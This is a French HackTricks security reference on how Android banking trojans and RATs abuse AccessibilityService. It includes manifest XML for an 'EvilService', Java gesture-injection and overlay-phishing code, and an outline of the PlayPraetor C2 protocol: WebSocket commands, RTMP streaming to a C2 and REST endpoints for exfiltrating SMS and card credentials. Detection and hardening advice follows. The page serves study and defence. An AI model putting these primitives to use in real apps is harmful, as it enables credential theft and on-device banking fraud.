Abus des services d'accessibilité Android
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
AccessibilityService
a été créé pour aider les utilisateurs handicapés à interagir avec les appareils Android. Malheureusement, les mêmes API d'automatisation puissantes (navigation globale, saisie de texte, dispatch de gestes, fenêtres superposées…) peuvent être utilisées par des logiciels malveillants pour obtenir un contrôle à distance complet de l'appareil sans privilèges root.
Les chevaux de Troie bancaires Android modernes et les chevaux de Troie d'accès à distance (RAT) tels que PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda et bien d'autres suivent la même recette :
- Manipuler la victime pour qu'elle active un service d'accessibilité malveillant (la permission BIND_ACCESSIBILITY_SERVICE est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
- Tirer parti du service pour
- capturer chaque événement UI et texte qui apparaît à l'écran,
- injecter des gestes synthétiques (
dispatchGesture
) et des actions globales (performGlobalAction
) pour automatiser toute tâche souhaitée par l'opérateur, - dessiner des superpositions plein écran au-dessus des applications légitimes en utilisant le type de fenêtre TYPE_ACCESSIBILITY_OVERLAY (pas de prompt
SYSTEM_ALERT_WINDOW
!), - accorder silencieusement des permissions d'exécution supplémentaires en cliquant sur les dialogues système au nom de la victime.
- Exfiltrer des données ou effectuer On-Device-Fraud (ODF) en temps réel pendant que l'utilisateur regarde un écran parfaitement normal.
Demande de permission
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Le fichier XML compagnon définit à quoi ressemblera la boîte de dialogue factice :
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitives d'automatisation UI à distance
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Avec seulement ces deux API, un attaquant peut :
- Déverrouiller l'écran, ouvrir l'application bancaire, naviguer dans son arbre UI et soumettre un formulaire de transfert.
- Accepter chaque boîte de dialogue de permission qui apparaît.
- Installer/mettre à jour des APK supplémentaires via l'intention du Play Store.
Modèles d'abus
1. Phishing par superposition (Collecte de données d'identification)
Un WebView
transparent ou opaque est ajouté au gestionnaire de fenêtres :
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
La victime saisit des identifiants dans le faux formulaire pendant que l'application en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "dessiner par-dessus d'autres applications" n'est jamais affichée.
Exemple détaillé : la section Phishing par superposition d'accessibilité dans la page Tapjacking.
2. Automatisation de fraude sur l'appareil
Des familles de malware telles que PlayPraetor maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (init
, update
, alert_arr
, report_list
, …). Le service traduit ces commandes en gestes de bas niveau ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement l'authentification multi-facteurs liée à cet appareil.
3. Diffusion et surveillance d'écran
En combinant l'API MediaProjection avec une bibliothèque cliente RTMP, le RAT peut diffuser le framebuffer en direct à rtmp://<c2>:1935/live/<device_id>
, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur d'accessibilité pilote l'interface utilisateur.
PlayPraetor – flux de travail de commande et de contrôle
- Heartbeat HTTP(S) – itérer sur une liste codée en dur jusqu'à ce qu'un domaine réponde
POST /app/searchPackageName
avec le C2 actif. - WebSocket (port 8282) – commandes JSON bidirectionnelles :
update
– pousser de nouvelles conf/APKsalert_arr
– configurer des modèles de superpositionreport_list
– envoyer la liste des noms de packages ciblésheartbeat_web
– maintenir la connexion
- RTMP (port 1935) – diffusion en direct d'écran/vidéo.
- Exfiltration REST –
/app/saveDevice
(empreinte)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(identifiants bancaires)
Le AccessibilityService est le moteur local qui transforme ces commandes cloud en interactions physiques.
Détection des services d'accessibilité malveillants
adb shell settings get secure enabled_accessibility_services
- Paramètres → Accessibilité → Services téléchargés – rechercher des applications qui ne proviennent pas de Google Play.
- Les solutions MDM / EMM peuvent appliquer
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) pour bloquer les services sideloadés. - Analyser les services en cours d'exécution :
adb shell dumpsys accessibility | grep "Accessibility Service"
Recommandations de renforcement pour les développeurs d'applications
- Marquer les vues sensibles avec
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Combiner
setFilterTouchesWhenObscured(true)
avecFLAG_SECURE
pour prévenir le détournement de tap/superposition. - Détecter les superpositions en interrogeant
WindowManager.getDefaultDisplay().getFlags()
ou l'APIViewRootImpl
. - Refuser de fonctionner lorsque
Settings.canDrawOverlays()
ou un service d'accessibilité non fiable est actif.
Références
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.